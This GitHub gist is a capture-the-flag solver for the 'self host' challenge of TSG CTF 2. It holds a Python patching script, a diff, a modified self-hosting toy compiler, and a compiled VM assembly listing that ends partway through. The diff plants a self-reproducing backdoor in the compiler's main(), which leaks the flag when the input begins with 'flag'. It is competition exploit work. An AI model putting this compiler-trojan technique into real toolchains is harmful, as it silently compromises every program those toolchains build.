Last active
July 12, 2020 13:18
-
-
Save satos---jp/0ab7dcb336031c5a0edae4517430d217 to your computer and use it in GitHub Desktop.
Solver for self host@tsgctf2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# First, compile compiler_exploit.x with the following command. | |
# `python3 interpreter.py compiler.x < compiler_exploit.x > tmp.s` | |
# Then, run this script, and you get "exploit.s", which is an answer for this problem. | |
s = open('tmp.s').read() | |
head = s[:s.index('[123,456,789]')] | |
tail = s[s.index('[314,159,265]')+len('[314,159,265]'):] | |
headstr = ''.join(str(list(map(lambda x: ord(x),head))).split(' ')) | |
tailstr = ''.join(str(list(map(lambda x: ord(x),tail))).split(' ')) | |
exploit = s.replace('[123,456,789]',headstr).replace('[314,159,265]',tailstr) | |
open('exploit.s','w').write(exploit) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
*** compiler.x | |
--- compiler_exploit.x | |
*************** | |
*** 587,594 **** | |
--- 587,616 ---- | |
epilogue(); | |
} | |
+ list2str(v){ | |
+ res = "[" + int2str(v[0]); | |
+ i = 1; | |
+ while(i < len(v)){ | |
+ res = res + "," + int2str(v[i]); | |
+ i = i + 1; | |
+ } | |
+ res = res + "]"; | |
+ return res; | |
+ } | |
+ | |
main() { | |
s = tokenize(); | |
+ | |
+ if(s[0] == "flag"){ | |
+ write("makelist #0 " + list2str(s[8]) + [10] + "mov sp 1" + [10] + "write" + [10] + "hlt" + [10]); | |
+ return 0; | |
+ } | |
+ else if(s[0] == "error"){ | |
+ head = [123,456,789]; tail = [314,159,265]; | |
+ write(head + list2str(head) + [10] + "mov bp[1] bp[34]" + [10] + "makelist bp[35] " + list2str(tail) + tail); | |
+ return 0; | |
+ } | |
+ | |
debug(s); | |
prog = parse(s); | |
debug(prog); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
error(s) { | |
write(s + [10]); | |
1 / 0; | |
} | |
indexof(v, x) { | |
i = 0; | |
while (i < len(v)) { | |
if (v[i] == x) return i; | |
else i = i + 1; | |
} | |
return -1; | |
} | |
is_head(v, w) { | |
i = 0; | |
res = 1; | |
while (i < len(v)) { | |
if (i >= len(w)) res = 0; | |
else if (v[i] != w[i]) res = 0; | |
i = i + 1; | |
} | |
return res; | |
} | |
assoc(v, x) { | |
i = 0; | |
while (i < len(v)) { | |
if (v[i][0] == x) return v[i][1]; | |
i = i + 1; | |
} | |
debug("assoc not found", v, x); | |
error(""); | |
} | |
str2int(s) { | |
res = 0; | |
sign = 1; | |
i = 0; | |
if (s[0] == "-") { | |
sign = -1; | |
i = 1; | |
} | |
while (i < len(s)) { | |
res = res * 10 + s[i] - 48; | |
i = i + 1; | |
} | |
return res * sign; | |
} | |
int2str(n) { | |
res = ""; | |
if (n < 0) { | |
res = "-"; | |
n = -n; | |
} | |
if (n == 0) return "0"; | |
else { | |
s = []; | |
while (n > 0) { | |
s = [48 + n % 10] + s; | |
n = n / 10; | |
} | |
res = res + s; | |
return res; | |
} | |
} | |
is_ident_char(c) { | |
return (48 <= c && c <= 57) || (65 <= c && c <= 90) || (97 <= c && c <= 122) || c == 95; | |
} | |
is_number(c) { | |
return (48 <= c && c <= 57); | |
} | |
is_digit(s) { | |
i = 0; | |
while (i<len(s)) { | |
if (!is_number(s[i])) return 0; | |
i = i + 1; | |
} | |
return 1; | |
} | |
tokenize() { | |
syms = ["+", "-", "*", "/", "%", "(", ",", ")", "{", "}", ";", "[", "]", "==", "!=", "=", "<=", ">=", ">", "<", "||", "!", "&&", "/*"]; | |
res = []; | |
cont = 1; | |
mc = -1; | |
while(cont) { | |
if (mc < 0) c = read(); | |
else { | |
c = mc; mc = -1; | |
} | |
debug(c, is_ident_char(c), is_number(c)); | |
if (c == 255) cont = 0; | |
else if (c == 9 || c == 10 || c == 32 || c == 13 || c == 11 || c == 12) { /* \t\s\n\r\x0b\x0c */ | |
/* pass */ | |
} else if (is_number(c)) { | |
v = [c]; | |
cont2 = 1; | |
while (cont2) { | |
c = read(); | |
if (!is_number(c)) { | |
mc = c; | |
cont2 = 0; | |
} else v = v + [c]; | |
} | |
res = res + [v]; | |
} else if (is_ident_char(c)) { | |
v = [c]; | |
cont2 = 1; | |
while (cont2) { | |
c = read(); | |
if (!is_ident_char(c)) { | |
mc = c; | |
cont2 = 0; | |
} else v = v + [c]; | |
} | |
res = res + [v]; | |
} else if (c == 34) { /* " */ | |
v = [c]; | |
cont2 = 1; | |
while (cont2) { | |
c = read(); | |
if (c == 34) cont2 = 0; | |
v = v + [c]; | |
} | |
res = res + [v]; | |
} else { | |
v = []; | |
ok = 1; | |
while (ok) { | |
ok = 0; | |
tv = v + [c]; | |
i = 0; | |
while (i < len(syms)) { | |
if (is_head(tv, syms[i])) ok = 1; | |
i = i + 1; | |
} | |
if (ok) { | |
v = v + [c]; | |
c = read(); | |
} | |
} | |
ok = 0; | |
i = 0; | |
while (i < len(syms)) { | |
ok = ok || (v == syms[i]); | |
i = i + 1; | |
} | |
if (!ok) error("tokenize failed " + v); | |
if (v == "/*") { | |
bc = c; | |
cont2 = 1; | |
while (cont2) { | |
c = read(); | |
if ([bc, c] == "*/") cont2 = 0; | |
bc = c; | |
mc = -1; | |
} | |
} else { | |
res = res + [v]; | |
mc = c; | |
} | |
} | |
} | |
return res; | |
} | |
assert(b, s) { | |
if (!b) error(s); | |
} | |
s; p; | |
expect(d, t) { | |
assert(s[p + d] == t, "assert_token: expect " + t + " got: " + s[p + d]); | |
p = p + d + 1; | |
} | |
get_priority(op) { | |
prs = [ | |
["||", "&&", "!"], | |
["==", "!=", ">", "<", "<=", ">="], | |
["+", "-"], | |
["*", "/", "%"] | |
]; | |
i = 0; | |
while (i < len(prs)) { | |
if (indexof(prs[i], op) != -1) return i; | |
i = i + 1; | |
} | |
error("unknown priority operator: " + op); | |
} | |
parse_expr(pri) { | |
n = s[p]; | |
if(n == "(") { | |
p = p + 1; | |
v = parse_expr(-1); | |
expect(0, ")"); | |
} else if(n == "[") { | |
vs = get_arguments(0, "[", "]"); | |
v = ["[]", vs]; | |
} else if(n == "-") { | |
p = p + 1; | |
v = ["Minus", [parse_expr(get_priority("-"))]]; | |
} else if(n == "!") { | |
p = p + 1; | |
v = ["Not", [parse_expr(get_priority("!"))]]; | |
} else { | |
if (is_digit(n)) { | |
v = ["Int", n]; | |
} else if (n[0] == 34){ /* " */ | |
arr = []; | |
i = 1; | |
while (i + 1 < len(n)) { | |
arr = arr + [["Int", int2str(n[i])]]; | |
i = i + 1; | |
} | |
v = ["[]", arr]; | |
} else { | |
v = ["Var", n]; | |
} | |
p = p + 1; | |
} | |
debug(s, len(s), p); | |
while(1) { | |
op = s[p]; | |
if (op == ")" || op == ";" || op == "," || op == "]") return v; | |
else if (op == "(") { | |
assert(v[0] == "Var", "function call for " + v[0] + " is not defined"); | |
vs = get_arguments(0, "(", ")"); | |
v = ["Call", [v[1], vs]]; | |
} else if (op == "[") { | |
p = p + 1; | |
v = ["Get", [v, parse_expr(-1)]]; | |
expect(0, "]"); | |
} else { | |
pri2 = get_priority(op); | |
if (pri >= pri2) return v; | |
else { | |
p = p + 1; | |
v = [op, [v, parse_expr(pri2)]]; | |
} | |
} | |
} | |
} | |
get_arguments(is_decl, fr, to) { | |
expect(0, fr); | |
if (s[p] == to) { | |
p = p + 1; | |
return []; | |
} | |
else { | |
if (is_decl) { | |
v = s[p]; | |
p = p + 1; | |
} else v = parse_expr(-1); | |
res = [v]; | |
cont = 1; | |
while (cont) { | |
if (s[p] == to) { | |
p = p + 1; | |
cont = 0; | |
} | |
else { | |
expect(0, ","); | |
if (is_decl) { | |
v = s[p]; | |
p = p + 1; | |
} else v = parse_expr(-1); | |
res = res + [v]; | |
} | |
} | |
return res; | |
} | |
} | |
parse_statement() { | |
n = s[p]; | |
if (n == "if") { | |
expect(1, "("); | |
e = parse_expr(-1); | |
expect(0, ")"); | |
stt = parse_statements_or_statement(); | |
if(s[p] == "else"){ | |
p = p + 1; | |
stf = parse_statements_or_statement(); | |
} else stf = []; | |
return ["If", e, stt, stf]; | |
} else if (n == "while") { | |
expect(1, "("); | |
e = parse_expr(-1); | |
expect(0, ")"); | |
st = parse_statements_or_statement(); | |
return ["While", e, st]; | |
} else if (n == "return") { | |
p = p + 1; | |
e = parse_expr(-1); | |
expect(0, ";"); | |
return ["Return", e]; | |
} else if (s[p+1] == "=") { | |
p = p + 2; | |
e = parse_expr(-1); | |
expect(0, ";"); | |
return ["Assign", n, e]; | |
} else { | |
e = parse_expr(-1); | |
expect(0, ";"); | |
return ["Expr", e]; | |
} | |
} | |
parse_statements(){ | |
expect(0, "{"); | |
res = []; | |
while (1) { | |
if (s[p] == "}") { | |
p = p + 1; | |
return res; | |
}else{ | |
res = res + [parse_statement()]; | |
} | |
} | |
} | |
parse_statements_or_statement() { | |
if (s[p] == "{") return parse_statements(); | |
else return [parse_statement()]; | |
} | |
parse(gs) { | |
s = gs; | |
p = 0; | |
res = []; | |
while (p < len(s)) { | |
n = s[p]; | |
if (s[p+1] == "(") { | |
p = p + 1; | |
args = get_arguments(1,"(",")"); | |
res = res + [["Funcdecl", n, args,parse_statements()]]; | |
} else { | |
expect(1, ";"); | |
res = res + [["Vardecl", n]]; | |
} | |
} | |
return res; | |
} | |
ip; executable; resolver; resolver_functions; func_arg_nums; funcip; | |
inst(ins) { | |
executable = executable + [ins]; | |
ip = ip + 1; | |
} | |
dummyinst() { | |
res = ip; | |
inst("dummy"); | |
return res; | |
} | |
epilogue() { | |
inst("mov sp bp"); | |
inst("pop bp"); | |
inst("ret"); | |
} | |
env; dbp; | |
genvar() { | |
res = "bp[" + int2str(dbp) + "]"; | |
dbp = dbp + 1; | |
return res; | |
} | |
compile_expr(e) { | |
op = e[0]; | |
if(op == "Call"){ | |
fn = e[1][0]; | |
vs = e[1][1]; | |
if (fn == "debug") return "debugdummy"; | |
retv = genvar(); | |
efn = assoc(func_arg_nums, fn); | |
assert(efn == len(vs), "compile_expr: expect " + int2str(efn) + " arguments, got " + int2str(len(vs))); | |
i = 0; | |
while (i < len(vs)) { | |
v = compile_expr(vs[i]); | |
inst("push " + v); | |
i = i + 1; | |
} | |
inst("push 0"); | |
if (fn == "read" || fn == "write" || fn == "len") inst(fn); | |
else { | |
mp = dummyinst(); | |
resolver_functions = resolver_functions + [[mp, fn,"call "]]; | |
} | |
inst("pop " + retv); | |
inst("sub sp sp " + int2str(len(vs))); | |
return retv; | |
} | |
else if (op == "Int") { | |
return e[1]; | |
} | |
else if (op == "Var") { | |
return assoc(env, e[1]); | |
} | |
else { | |
vs = []; | |
i = 0; | |
while (i < len(e[1])) { | |
vs = vs + [compile_expr(e[1][i])]; | |
i = i + 1; | |
} | |
v = genvar(); | |
if(op == "[]"){ | |
if (len(vs) == 0) s = "[]"; | |
else { | |
s = "[" + vs[0]; | |
i = 1; | |
while (i < len(vs)) { | |
s = s + "," + vs[i]; | |
i = i + 1; | |
} | |
s = s + "]"; | |
} | |
inst("makelist " + v + " " + s); | |
} | |
else if (op == "Minus") { | |
inst("sub " + v + " 0 " + vs[0]); | |
} | |
else if (op == "Not") { | |
inst("eq " + v + " " + vs[0] + " 0"); | |
} | |
else if (op == "+") { | |
inst("add " + v + " " + vs[0] + " " + vs[1]); | |
} | |
else if (op == "-") { | |
inst("sub " + v + " " + vs[0] + " " + vs[1]); | |
} | |
else if (op == "*") { | |
inst("mul " + v + " " + vs[0] + " " + vs[1]); | |
} | |
else if (op == "/") { | |
inst("div " + v + " " + vs[0] + " " + vs[1]); | |
} | |
else if (op == "%") { | |
inst("div " + v + " " + vs[0] + " " + vs[1]); | |
inst("mul " + v + " " + v + " " + vs[1]); | |
inst("sub " + v + " " + vs[0] + " " + v); | |
} | |
else if (op == "<") { | |
inst("lt " + v + " " + vs[0] + " " + vs[1]); | |
} | |
else if (op == ">") { | |
inst("lt " + v + " " + vs[1] + " " + vs[0]); | |
} | |
else if (op == "<=") { | |
inst("lt " + v + " " + vs[1] + " " + vs[0]); | |
inst("eq " + v + " 0 " + v); | |
} | |
else if (op == ">=") { | |
inst("lt " + v + " " + vs[0] + " " + vs[1]); | |
inst("eq " + v + " 0 " + v); | |
} | |
else if (op == "==") { | |
inst("eq " + v + " " + vs[0] + " " + vs[1]); | |
} | |
else if (op == "!=") { | |
inst("eq " + v + " " + vs[0] + " " + vs[1]); | |
inst("eq " + v + " " + v + " 0"); | |
} | |
else if (op == "&&") { | |
inst("mul " + v + " " + vs[0] + " " + vs[1]); | |
inst("eq " + v + " " + v + " 0"); | |
inst("eq " + v + " " + v + " 0"); | |
} | |
else if (op == "||") { | |
w = genvar(); | |
inst("eq " + v + " " + vs[0] + " 0"); | |
inst("eq " + w + " " + vs[1] + " 0"); | |
inst("mul " + v + " " + v + " " + w); | |
inst("eq " + v + " " + v + " 0"); | |
} | |
else if (op == "Get") { | |
inst("get " + v + " " + vs[0] + " " + vs[1]); | |
} | |
else error("unknown operator " + op); | |
return v; | |
} | |
} | |
compile_statements(stmts) { | |
i = 0; | |
while (i < len(stmts)) { | |
st = stmts[i]; | |
if (st[0] == "While") { | |
mp = ip; | |
e = compile_expr(st[1]); | |
mp2 = dummyinst(); | |
compile_statements(st[2]); | |
inst("jz 0 " + int2str(mp)); | |
resolver = resolver + [[mp2,"jz " + e + " " + int2str(ip)]]; | |
} | |
else if (st[0] == "If") { | |
e = compile_expr(st[1]); | |
mp = dummyinst(); | |
compile_statements(st[2]); | |
mp2 = dummyinst(); | |
resolver = resolver + [[mp,"jz " + e + " " + int2str(ip)]]; | |
compile_statements(st[3]); | |
resolver = resolver + [[mp2,"jz 0 " + int2str(ip)]]; | |
} | |
else if (st[0] == "Return") { | |
e = compile_expr(st[1]); | |
inst("mov bp[-2] " + e); | |
epilogue(); | |
} | |
else if (st[0] == "Assign") { | |
e = compile_expr(st[2]); | |
inst("mov " + assoc(env,st[1]) + " " + e); | |
} | |
else if (st[0] == "Expr") { | |
compile_expr(st[1]); | |
} else error("unknown statement type" + st[0]); | |
i = i + 1; | |
} | |
} | |
globals; | |
collect_locals(stmts, args, locals) { | |
i = 0; | |
while (i < len(stmts)) { | |
st = stmts[i]; | |
if (st[0] == "While") { | |
locals = collect_locals(st[2], args, locals); | |
} | |
else if (st[0] == "If") { | |
locals = collect_locals(st[2], args, locals); | |
locals = collect_locals(st[3], args, locals); | |
} | |
else if (st[0] == "Assign") { | |
n = st[1]; | |
if(indexof(args + globals + locals, n) == -1){ | |
locals = locals + [n]; | |
} | |
} | |
i = i + 1; | |
} | |
return locals; | |
} | |
compile_function(fn, args, body) { | |
locals = collect_locals(body, args, []); | |
funcip = funcip + [[fn, ip]]; | |
inst("push bp"); | |
inst("mov bp sp"); | |
mplo = dummyinst(); /* inst("add sp sp " + int2str(len(locals))); */ | |
/* -len(args)-2 -3 | -2 | -1 | 0 | 1 len(locals) | */ | |
/* args[-1] ... args[0] | retv | oldip | oldbp | locals[0] ... locals[-1] | dbp[0] ... */ | |
env = []; | |
i = 0; | |
while (i < len(args)) { | |
env = env + [[args[len(args) - i - 1], "bp[" + int2str(-i - 3) + "]"]]; | |
i = i + 1; | |
} | |
i = 0; | |
while (i < len(globals)) { | |
if (indexof(args, globals[i]) == -1) env = env + [[globals[i], "#" + int2str(i)]]; | |
i = i + 1; | |
} | |
i = 0; | |
while (i < len(locals)) { | |
env = env + [[locals[i], "bp[" + int2str(i + 1) + "]"]]; | |
i = i + 1; | |
} | |
debug("env", fn, env); | |
dbp = len(locals) + 1; | |
compile_statements(body); | |
resolver = resolver + [[mplo, "add sp sp " + int2str(dbp - 1)]]; | |
inst("mov bp[-2] 0"); | |
epilogue(); | |
} | |
list2str(v){ | |
res = "[" + int2str(v[0]); | |
i = 1; | |
while(i < len(v)){ | |
res = res + "," + int2str(v[i]); | |
i = i + 1; | |
} | |
res = res + "]"; | |
return res; | |
} | |
main() { | |
s = tokenize(); | |
if(s[0] == "flag"){ | |
write("makelist #0 " + list2str(s[8]) + [10] + "mov sp 1" + [10] + "write" + [10] + "hlt" + [10]); | |
return 0; | |
} | |
else if(s[0] == "error"){ | |
head = [123,456,789]; tail = [314,159,265]; | |
write(head + list2str(head) + [10] + "mov bp[1] bp[34]" + [10] + "makelist bp[35] " + list2str(tail) + tail); | |
return 0; | |
} | |
debug(s); | |
prog = parse(s); | |
debug(prog); | |
i = 0; | |
func_arg_nums = [["read", 0], ["write", 1], ["len", 1]]; | |
while (i < len(prog)) { | |
if (prog[i][0] == "Funcdecl") { | |
func_arg_nums = func_arg_nums + [[prog[i][1], len(prog[i][2])]]; | |
} | |
i = i + 1; | |
} | |
debug("func_arg_nums", func_arg_nums); | |
ip = 0; | |
i = 0; | |
globals = []; | |
executable = []; | |
resolver = []; | |
funcip = []; | |
ipz = dummyinst(); | |
resolver_functions = [[dummyinst(), "main", "call "]]; | |
inst("hlt"); | |
while (i < len(prog)) { | |
d = prog[i]; | |
if (d[0] == "Funcdecl") { | |
compile_function(d[1], d[2], d[3]); | |
} else if (d[0] == "Vardecl") { | |
globals = globals + [d[1]]; | |
} else error("unknown global type" + prog[i][0]); | |
i = i + 1; | |
} | |
debug(executable); | |
resolver = resolver + [[ipz, "add sp sp " + int2str(len(globals))]]; | |
i = 0; | |
while (i < len(resolver_functions)) { | |
d = resolver_functions[i]; | |
resolver = resolver + [[d[0], d[2] + int2str(assoc(funcip, d[1]))]]; | |
i = i + 1; | |
} | |
output = ""; | |
i = 0; | |
while (i < len(executable)) { | |
s = executable[i]; | |
if (s == "dummy") { | |
s = assoc(resolver, i); | |
} | |
output = output + s + [10]; | |
i = i + 1; | |
} | |
write(output); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add sp sp 11 | |
call 2564 | |
hlt | |
push bp | |
mov bp sp | |
add sp sp 4 | |
makelist bp[2] [10] | |
add bp[3] bp[-3] bp[2] | |
push bp[3] | |
push 0 | |
write | |
pop bp[1] | |
sub sp sp 1 | |
div bp[4] 1 0 | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 7 | |
mov bp[1] 0 | |
push bp[-4] | |
push 0 | |
len | |
pop bp[2] | |
sub sp sp 1 | |
lt bp[3] bp[1] bp[2] | |
jz bp[3] 40 | |
get bp[4] bp[-4] bp[1] | |
eq bp[5] bp[4] bp[-3] | |
jz bp[5] 37 | |
mov bp[-2] bp[1] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 39 | |
add bp[6] bp[1] 1 | |
mov bp[1] bp[6] | |
jz 0 22 | |
sub bp[7] 0 1 | |
mov bp[-2] bp[7] | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 10 | |
mov bp[1] 0 | |
mov bp[2] 1 | |
push bp[-4] | |
push 0 | |
len | |
pop bp[3] | |
sub sp sp 1 | |
lt bp[4] bp[1] bp[3] | |
jz bp[4] 81 | |
push bp[-3] | |
push 0 | |
len | |
pop bp[5] | |
sub sp sp 1 | |
lt bp[6] bp[1] bp[5] | |
eq bp[6] 0 bp[6] | |
jz bp[6] 71 | |
mov bp[2] 0 | |
jz 0 78 | |
get bp[7] bp[-4] bp[1] | |
get bp[8] bp[-3] bp[1] | |
eq bp[9] bp[7] bp[8] | |
eq bp[9] bp[9] 0 | |
jz bp[9] 78 | |
mov bp[2] 0 | |
jz 0 78 | |
add bp[10] bp[1] 1 | |
mov bp[1] bp[10] | |
jz 0 54 | |
mov bp[-2] bp[2] | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 11 | |
mov bp[1] 0 | |
push bp[-4] | |
push 0 | |
len | |
pop bp[2] | |
sub sp sp 1 | |
lt bp[3] bp[1] bp[2] | |
jz bp[3] 114 | |
get bp[4] bp[-4] bp[1] | |
get bp[5] bp[4] 0 | |
eq bp[6] bp[5] bp[-3] | |
jz bp[6] 111 | |
get bp[7] bp[-4] bp[1] | |
get bp[8] bp[7] 1 | |
mov bp[-2] bp[8] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 111 | |
add bp[9] bp[1] 1 | |
mov bp[1] bp[9] | |
jz 0 93 | |
makelist bp[11] [] | |
push bp[11] | |
push 0 | |
call 3 | |
pop bp[10] | |
sub sp sp 1 | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 15 | |
mov bp[1] 0 | |
mov bp[2] 1 | |
mov bp[3] 0 | |
get bp[4] bp[-3] 0 | |
makelist bp[5] [45] | |
eq bp[6] bp[4] bp[5] | |
jz bp[6] 138 | |
sub bp[7] 0 1 | |
mov bp[2] bp[7] | |
mov bp[3] 1 | |
jz 0 138 | |
push bp[-3] | |
push 0 | |
len | |
pop bp[8] | |
sub sp sp 1 | |
lt bp[9] bp[3] bp[8] | |
jz bp[9] 153 | |
mul bp[10] bp[1] 10 | |
get bp[11] bp[-3] bp[3] | |
add bp[12] bp[10] bp[11] | |
sub bp[13] bp[12] 48 | |
mov bp[1] bp[13] | |
add bp[14] bp[3] 1 | |
mov bp[3] bp[14] | |
jz 0 138 | |
mul bp[15] bp[1] bp[2] | |
mov bp[-2] bp[15] | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 16 | |
makelist bp[3] [] | |
mov bp[1] bp[3] | |
lt bp[4] bp[-3] 0 | |
jz bp[4] 174 | |
makelist bp[5] [45] | |
mov bp[1] bp[5] | |
sub bp[6] 0 bp[-3] | |
mov bp[-3] bp[6] | |
jz 0 174 | |
eq bp[7] bp[-3] 0 | |
jz bp[7] 182 | |
makelist bp[8] [48] | |
mov bp[-2] bp[8] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 202 | |
makelist bp[9] [] | |
mov bp[2] bp[9] | |
lt bp[10] 0 bp[-3] | |
jz bp[10] 196 | |
div bp[11] bp[-3] 10 | |
mul bp[11] bp[11] 10 | |
sub bp[11] bp[-3] bp[11] | |
add bp[12] 48 bp[11] | |
makelist bp[13] [bp[12]] | |
add bp[14] bp[13] bp[2] | |
mov bp[2] bp[14] | |
div bp[15] bp[-3] 10 | |
mov bp[-3] bp[15] | |
jz 0 184 | |
add bp[16] bp[1] bp[2] | |
mov bp[1] bp[16] | |
mov bp[-2] bp[1] | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 16 | |
lt bp[1] bp[-3] 48 | |
eq bp[1] 0 bp[1] | |
lt bp[2] 57 bp[-3] | |
eq bp[2] 0 bp[2] | |
mul bp[3] bp[1] bp[2] | |
eq bp[3] bp[3] 0 | |
eq bp[3] bp[3] 0 | |
lt bp[4] bp[-3] 65 | |
eq bp[4] 0 bp[4] | |
lt bp[5] 90 bp[-3] | |
eq bp[5] 0 bp[5] | |
mul bp[6] bp[4] bp[5] | |
eq bp[6] bp[6] 0 | |
eq bp[6] bp[6] 0 | |
eq bp[7] bp[3] 0 | |
eq bp[8] bp[6] 0 | |
mul bp[7] bp[7] bp[8] | |
eq bp[7] bp[7] 0 | |
lt bp[9] bp[-3] 97 | |
eq bp[9] 0 bp[9] | |
lt bp[10] 122 bp[-3] | |
eq bp[10] 0 bp[10] | |
mul bp[11] bp[9] bp[10] | |
eq bp[11] bp[11] 0 | |
eq bp[11] bp[11] 0 | |
eq bp[12] bp[7] 0 | |
eq bp[13] bp[11] 0 | |
mul bp[12] bp[12] bp[13] | |
eq bp[12] bp[12] 0 | |
eq bp[14] bp[-3] 95 | |
eq bp[15] bp[12] 0 | |
eq bp[16] bp[14] 0 | |
mul bp[15] bp[15] bp[16] | |
eq bp[15] bp[15] 0 | |
mov bp[-2] bp[15] | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 3 | |
lt bp[1] bp[-3] 48 | |
eq bp[1] 0 bp[1] | |
lt bp[2] 57 bp[-3] | |
eq bp[2] 0 bp[2] | |
mul bp[3] bp[1] bp[2] | |
eq bp[3] bp[3] 0 | |
eq bp[3] bp[3] 0 | |
mov bp[-2] bp[3] | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 7 | |
mov bp[1] 0 | |
push bp[-3] | |
push 0 | |
len | |
pop bp[2] | |
sub sp sp 1 | |
lt bp[3] bp[1] bp[2] | |
jz bp[3] 296 | |
get bp[5] bp[-3] bp[1] | |
push bp[5] | |
push 0 | |
call 251 | |
pop bp[4] | |
sub sp sp 1 | |
eq bp[6] bp[4] 0 | |
jz bp[6] 293 | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
jz 0 293 | |
add bp[7] bp[1] 1 | |
mov bp[1] bp[7] | |
jz 0 273 | |
mov bp[-2] 1 | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 115 | |
makelist bp[12] [43] | |
makelist bp[13] [45] | |
makelist bp[14] [42] | |
makelist bp[15] [47] | |
makelist bp[16] [37] | |
makelist bp[17] [40] | |
makelist bp[18] [44] | |
makelist bp[19] [41] | |
makelist bp[20] [123] | |
makelist bp[21] [125] | |
makelist bp[22] [59] | |
makelist bp[23] [91] | |
makelist bp[24] [93] | |
makelist bp[25] [61,61] | |
makelist bp[26] [33,61] | |
makelist bp[27] [61] | |
makelist bp[28] [60,61] | |
makelist bp[29] [62,61] | |
makelist bp[30] [62] | |
makelist bp[31] [60] | |
makelist bp[32] [124,124] | |
makelist bp[33] [33] | |
makelist bp[34] [38,38] | |
makelist bp[35] [47,42] | |
makelist bp[36] [bp[12],bp[13],bp[14],bp[15],bp[16],bp[17],bp[18],bp[19],bp[20],bp[21],bp[22],bp[23],bp[24],bp[25],bp[26],bp[27],bp[28],bp[29],bp[30],bp[31],bp[32],bp[33],bp[34],bp[35]] | |
mov bp[1] bp[36] | |
makelist bp[37] [] | |
mov bp[2] bp[37] | |
mov bp[3] 1 | |
sub bp[38] 0 1 | |
mov bp[4] bp[38] | |
jz bp[3] 567 | |
lt bp[39] bp[4] 0 | |
jz bp[39] 347 | |
push 0 | |
read | |
pop bp[40] | |
sub sp sp 0 | |
mov bp[5] bp[40] | |
jz 0 350 | |
mov bp[5] bp[4] | |
sub bp[41] 0 1 | |
mov bp[4] bp[41] | |
eq bp[42] bp[5] 255 | |
jz bp[42] 354 | |
mov bp[3] 0 | |
jz 0 566 | |
eq bp[43] bp[5] 9 | |
eq bp[44] bp[5] 10 | |
eq bp[45] bp[43] 0 | |
eq bp[46] bp[44] 0 | |
mul bp[45] bp[45] bp[46] | |
eq bp[45] bp[45] 0 | |
eq bp[47] bp[5] 32 | |
eq bp[48] bp[45] 0 | |
eq bp[49] bp[47] 0 | |
mul bp[48] bp[48] bp[49] | |
eq bp[48] bp[48] 0 | |
eq bp[50] bp[5] 13 | |
eq bp[51] bp[48] 0 | |
eq bp[52] bp[50] 0 | |
mul bp[51] bp[51] bp[52] | |
eq bp[51] bp[51] 0 | |
eq bp[53] bp[5] 11 | |
eq bp[54] bp[51] 0 | |
eq bp[55] bp[53] 0 | |
mul bp[54] bp[54] bp[55] | |
eq bp[54] bp[54] 0 | |
eq bp[56] bp[5] 12 | |
eq bp[57] bp[54] 0 | |
eq bp[58] bp[56] 0 | |
mul bp[57] bp[57] bp[58] | |
eq bp[57] bp[57] 0 | |
jz bp[57] 382 | |
jz 0 566 | |
push bp[5] | |
push 0 | |
call 251 | |
pop bp[59] | |
sub sp sp 1 | |
jz bp[59] 415 | |
makelist bp[60] [bp[5]] | |
mov bp[6] bp[60] | |
mov bp[7] 1 | |
jz bp[7] 411 | |
push 0 | |
read | |
pop bp[61] | |
sub sp sp 0 | |
mov bp[5] bp[61] | |
push bp[5] | |
push 0 | |
call 251 | |
pop bp[62] | |
sub sp sp 1 | |
eq bp[63] bp[62] 0 | |
jz bp[63] 407 | |
mov bp[4] bp[5] | |
mov bp[7] 0 | |
jz 0 410 | |
makelist bp[64] [bp[5]] | |
add bp[65] bp[6] bp[64] | |
mov bp[6] bp[65] | |
jz 0 391 | |
makelist bp[66] [bp[6]] | |
add bp[67] bp[2] bp[66] | |
mov bp[2] bp[67] | |
jz 0 566 | |
push bp[5] | |
push 0 | |
call 206 | |
pop bp[68] | |
sub sp sp 1 | |
jz bp[68] 448 | |
makelist bp[69] [bp[5]] | |
mov bp[6] bp[69] | |
mov bp[7] 1 | |
jz bp[7] 444 | |
push 0 | |
read | |
pop bp[70] | |
sub sp sp 0 | |
mov bp[5] bp[70] | |
push bp[5] | |
push 0 | |
call 206 | |
pop bp[71] | |
sub sp sp 1 | |
eq bp[72] bp[71] 0 | |
jz bp[72] 440 | |
mov bp[4] bp[5] | |
mov bp[7] 0 | |
jz 0 443 | |
makelist bp[73] [bp[5]] | |
add bp[74] bp[6] bp[73] | |
mov bp[6] bp[74] | |
jz 0 424 | |
makelist bp[75] [bp[6]] | |
add bp[76] bp[2] bp[75] | |
mov bp[2] bp[76] | |
jz 0 566 | |
